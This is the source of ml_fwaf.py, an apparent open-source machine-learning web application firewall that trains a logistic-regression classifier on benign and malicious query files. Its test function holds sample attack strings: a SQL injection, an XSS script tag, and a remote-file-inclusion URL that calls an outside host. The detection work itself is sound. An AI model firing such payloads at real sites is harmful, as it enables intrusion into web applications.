-
Notifications
You must be signed in to change notification settings - Fork 0
/
ml_fwaf.py
277 lines (243 loc) · 8.47 KB
/
ml_fwaf.py
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
94
95
96
97
98
99
100
101
102
103
104
105
106
107
108
109
110
111
112
113
114
115
116
117
118
119
120
121
122
123
124
125
126
127
128
129
130
131
132
133
134
135
136
137
138
139
140
141
142
143
144
145
146
147
148
149
150
151
152
153
154
155
156
157
158
159
160
161
162
163
164
165
166
167
168
169
170
171
172
173
174
175
176
177
178
179
180
181
182
183
184
185
186
187
188
189
190
191
192
193
194
195
196
197
198
199
200
201
202
203
204
205
206
207
208
209
210
211
212
213
214
215
216
217
218
219
220
221
222
223
224
225
226
227
228
229
230
231
232
233
234
235
236
237
238
239
240
241
242
243
244
245
246
247
248
249
250
251
252
253
254
255
256
257
258
259
260
261
262
263
264
265
266
267
268
269
270
271
272
273
274
275
276
277
'''
FWAF - Machine Learning driven Web Application Firewall
Author: Faizan Ahmad
Performance improvements: Timo Mechsner
Website: http://fsecurify.com
'''
from pickle import TRUE
from sklearn.feature_extraction.text import TfidfVectorizer
import os
import platform
from sklearn.model_selection import train_test_split
from sklearn.linear_model import LogisticRegression
from sklearn import metrics
import urllib.parse
import pickle
# import traceback
#import matplotlib.pyplot as plt
# declare constants
if platform.system() == 'Linux':
# For Linux
if os.geteuid() == 0:
# While deploying in root user
ML_FWAF_PATH = "/etc/nginx/senseguard/mlfwaf/"
else:
# While running for test in normal user
ML_FWAF_PATH = os.path.dirname(os.path.abspath(__file__))
else:
ML_FWAF_PATH = "E:/Project/SenseGuard/Fwaf-Machine-Learning-driven-Web-Application-Firewall/" # For Windows
ML_SAV_DIR = "sav/"
PAYLOADS_DIR = "payloads/"
ML_SAV_DIR_PATH = os.path.join(ML_FWAF_PATH, ML_SAV_DIR)
LOGISTIC_REGRESSION_FILENAME = os.path.join(ML_SAV_DIR_PATH, "logres.sav")
TFIDF_VECTOR_FILENAME = os.path.join(ML_SAV_DIR_PATH, "tfidf.sav")
PAYLOADS_DIR_PATH = os.path.join(ML_FWAF_PATH, PAYLOADS_DIR)
VALID_DATASET_FILENAME = os.path.join(PAYLOADS_DIR_PATH, "goodqueries.txt")
MALICIOUS_DATASET_FILENAME = os.path.join(PAYLOADS_DIR_PATH, "badqueries.txt")
TEST_TRAIN_RATE = 0.0
def loadFile(name):
directory = str(os.getcwd())
filepath = os.path.join(directory, name)
with open(filepath, 'r', encoding='utf8', errors='ignore') as f:
data = f.readlines()
data = list(set(data))
result = []
for d in data:
d = d.strip()
if len(d) == 0:
continue
if d[0] == '#':
continue
d = str(urllib.parse.unquote(d)) #converting url encoded data to simple string
result.append(d)
return result
def loadDirectory(dir_path):
result = []
list_of_sub = sorted(os.listdir(dir_path))
for sub in list_of_sub:
sub_path = os.path.join(dir_path, sub)
if os.path.isdir(sub_path):
result += loadDirectory(sub_path)
else:
filename, file_extension = os.path.splitext(sub_path)
if file_extension == ".txt":
result += loadFile(sub_path)
return result
def trainAndSave():
badQueries = []
iCategory = 0
totalRecords = 0
list_of_subdirs = sorted(filter(lambda x: os.path.isdir(os.path.join(PAYLOADS_DIR_PATH, x)) and "all-attacks" != x, os.listdir(PAYLOADS_DIR_PATH)))
for subdir in list_of_subdirs:
badQuery = list(set(loadDirectory(os.path.join(PAYLOADS_DIR_PATH, subdir))))
totalRecords += len(badQuery)
badQueries.append(badQuery)
print("Category count = " + str(len(badQueries)))
print("Total Bad Queries = " + str(totalRecords))
validQueries = loadFile(VALID_DATASET_FILENAME)
validQueries = list(set(validQueries))
print("Total Good Queries = " + str(len(validQueries)))
allQueries = validQueries
yGood = [0 for i in range(0, len(validQueries))]
y = yGood
for badQuery in badQueries:
allQueries += badQuery
iCategory += 1
yBad = [iCategory for i in range(0, len(badQuery))]
y += yBad
print("[" + str(iCategory) + "] => " + list_of_subdirs[iCategory - 1])
queries = allQueries
vectorizer = TfidfVectorizer(min_df = 0.0, analyzer="char", sublinear_tf=True, ngram_range=(1,3)) #converting data to vectors
print("Transforming queries...")
X = vectorizer.fit_transform(queries)
saveVector(vectorizer)
lgs = LogisticRegression(class_weight='balanced') # class_weight={1: 2 * validCount / badCount, 0: 1.0}
print("Training our model...")
lgs.fit(X, y) #training our model
saveRegression(lgs)
print("Finished training model")
def saveRegression(lgs):
# save into file
if not os.path.exists(ML_SAV_DIR_PATH):
os.makedirs(ML_SAV_DIR_PATH, exist_ok = True)
with open(LOGISTIC_REGRESSION_FILENAME, 'wb') as f:
pickle.dump(lgs, f)
g_LogisticRegression = None
def loadRegression():
global g_LogisticRegression
if (None == g_LogisticRegression):
try:
with open(LOGISTIC_REGRESSION_FILENAME,'rb') as f:
lgs = pickle.load(f)
g_LogisticRegression = lgs
except Exception as e:
lgs = None
# traceback.print_exc()
else:
lgs = g_LogisticRegression
return lgs
def saveVector(vec):
if not os.path.exists(ML_SAV_DIR_PATH):
os.makedirs(ML_SAV_DIR_PATH, exist_ok = True)
with open(TFIDF_VECTOR_FILENAME, 'wb') as f:
pickle.dump(vec, f)
g_TfidfVectorizer = None
def loadVector():
global g_TfidfVectorizer
if (None == g_TfidfVectorizer):
try:
with open(TFIDF_VECTOR_FILENAME,'rb') as f:
vec = pickle.load(f)
g_TfidfVectorizer = vec
except Exception as e:
vec = None
# traceback.print_exc()
else:
vec = g_TfidfVectorizer
return vec
def evaluateModel():
badQueries = []
iCategory = 0
badCount = 0
list_of_subdirs = sorted(filter(lambda x: os.path.isdir(os.path.join(PAYLOADS_DIR_PATH, x)) and "all-attacks" != x, os.listdir(PAYLOADS_DIR_PATH)))
for subdir in list_of_subdirs:
badQuery = list(set(loadDirectory(os.path.join(PAYLOADS_DIR_PATH, subdir))))
badQueries.append(badQuery)
validQueries = loadFile(VALID_DATASET_FILENAME)
validQueries = list(set(validQueries))
allQueries = validQueries
yGood = [0 for i in range(0, len(validQueries))]
y = yGood
for badQuery in badQueries:
allQueries += badQuery
badCount += len(badQuery)
iCategory += 1
yBad = [iCategory for i in range(0, len(badQuery))]
y += yBad
queries = allQueries
vectorizer = loadVector()
X = vectorizer.transform(queries)
X_train, X_test, y_train, y_test = train_test_split(X, y, test_size = TEST_TRAIN_RATE, random_state=42) #splitting data
validCount = len(validQueries)
lgs = loadRegression()
predicted = lgs.predict(X_test)
##############
# Evaluation #
##############
# roc_curve is restricted to the binary classification task
#fpr, tpr, _ = metrics.roc_curve(y_test, (lgs.predict_proba(X_test)[:, 1]))
#auc = metrics.auc(fpr, tpr)
print("Bad samples: %d" % badCount)
print("Good samples: %d" % validCount)
print("Baseline Constant negative: %.6f" % (validCount / (validCount + badCount)))
print("------------")
print("Accuracy: %f" % lgs.score(X_test, y_test)) #checking the accuracy
print("Precision: %f" % metrics.precision_score(y_test, predicted, average='weighted'))
print("Recall: %f" % metrics.recall_score(y_test, predicted, average='weighted'))
print("F1-Score: %f" % metrics.f1_score(y_test, predicted, average='weighted'))
#print("AUC: %f" % auc)
def isValidQuery(sQuery):
lgs = loadRegression()
if None == lgs:
return True
X_test = [sQuery]
X_test = list(set(X_test))
vectorizer = loadVector()
if None == vectorizer:
return True
X = vectorizer.transform(X_test)
Y_test = lgs.predict(X)
if (Y_test[0] == 0):
return True
else:
return False
g_asWhiteList = [
# SD Cookie Names
'__sg_waf_captcha_uid',
'__sg_waf_captcha_hmac',
'__sg_waf_captcha_time',
'__sd_rl_uid',
'__sd_ad_uid',
'__sd_ad_ts',
'__sd_ad_hmac',
'__sd_bm_uid',
# Request URI
'/',
# SD Headers
'X-Ja3-Hash',
'x-ja3-hash'
]
# return the type of query. normal, sqli or xss or etc...
def checkQuery(sQuery):
if (sQuery in g_asWhiteList):
return 0
lgs = loadRegression()
if None == lgs:
# Fatal error case when fails to load regression
return 0
X_test = [sQuery]
X_test = list(set(X_test))
vectorizer = loadVector()
if None == vectorizer:
# Fatal error case when fails to load vectors
return 0
X = vectorizer.transform(X_test)
Y_test = lgs.predict(X)
return Y_test[0]
def simpleTest():
asQueries = [
"id = ' or 1=1 -- ",
"<script>alert(1)</script>",
"/includes/functions_kb.php?phpbb_root_path=http://cirt.net/rfiinc.txt?",
"/",
"__sd_ad_hmac",
"1669713760.6617660522460937500000",
'ver',
'1.2',
'6.0.3'
]
for sQuery in asQueries:
print(sQuery + " is " + str(checkQuery(sQuery)))
# trainAndSave()
# evaluateModel()
# simpleTest()